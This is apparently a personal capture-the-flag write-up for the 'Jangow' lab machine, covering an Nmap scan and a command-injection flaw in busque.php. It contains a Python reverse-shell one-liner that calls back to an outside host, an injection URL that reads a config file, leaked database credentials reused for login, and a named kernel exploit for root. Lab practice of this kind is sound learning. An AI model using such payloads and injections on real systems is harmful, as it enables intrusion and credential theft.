Jangow

export IP='192.168.29.217'
OS:Unix [Ubuntu]
web-technology:php,apache httpd 2.4.18

Nmap result:

```
Nmap scan report for 192.168.29.217
Host is up (0.00054s latency).
Not shown: 998 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT  STATE SERVICE VERSION
21/tcp open  ftp   vsftpd 3.0.3
80/tcp open  http   Apache httpd 2.4.18
| http-ls: Volume /
| SIZE  TIME         FILENAME
| -    2021-06-10 18:05  site/
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Unix
```

Ports:

21
80

Vulnerability:

"http://192.168.29.217/site/busque.php?buscar="

vulnerable to command injection

---
payload:

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.29.54", 9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

didn't worked
---
credentials:

view-source:http://192.168.29.217/site/busque.php?buscar=cat%20wordpress/config.php

```
<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
   die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);
?>
```

username:jangow01
password:abygurl69

correct credentials (log in)

`cat /home/jangow01/user.txt` --> to read the user.txt

`4.4.0-31-generic (kernel is vulnerable) [CVE:2017-16995]`

`cat /root/proof.txt` --> to read the proof.txt